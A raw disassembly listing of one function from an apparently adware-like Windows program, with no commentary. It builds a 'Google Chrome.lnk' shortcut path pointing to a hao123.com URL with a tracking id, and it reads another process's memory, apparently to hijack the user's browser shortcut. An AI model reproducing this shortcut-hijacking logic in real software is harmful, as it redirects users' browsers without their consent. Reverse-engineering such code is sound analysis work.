push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x427240
mov ecx, dword [str.Google_Chrome.lnk]
mov edx, dword [0x4489b8]
mov dword [eax], ecx
mov ecx, dword [0x4489bc]
mov dword [eax + 4], edx
mov edx, dword [0x4489c0]
mov dword [eax + 8], ecx
mov cx, word [0x4489c4]
mov dword [eax + 0xc], edx
mov dl, byte [0x4489c6]
mov word [eax + 0x10], cx
mov byte [eax + 0x12], dl
mov eax, dword [ebp - 0x648]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x4272ad
push 0x104
lea ecx, [ebp - 0x648]
call fcn.00401bb0
mov eax, dword [ebp - 0x648]
push eax
lea ecx, [ebp - 0x748]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x748]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x684]
call fcn.004021f0
lea ecx, [ebp - 0x648]
call fcn.004021f0
mov eax, dword [ebp - 0x62c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x427391
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x630]
mov esi, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x630], eax
cmp eax, dword [ebp - 0x750]
jl 0x4239e0
mov edi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x6b8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push ecx
push esi
call ebx
mov edx, dword [ebp - 0x6c0]
push 0x8000
push 0
push edx
push esi
call ebx
push 0x8000
push 0
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x758]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x427412
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x427431
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x63c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042d3b1
mov esp, ebp
pop ebp
ret
push 0
call fcn.0042ed83
int3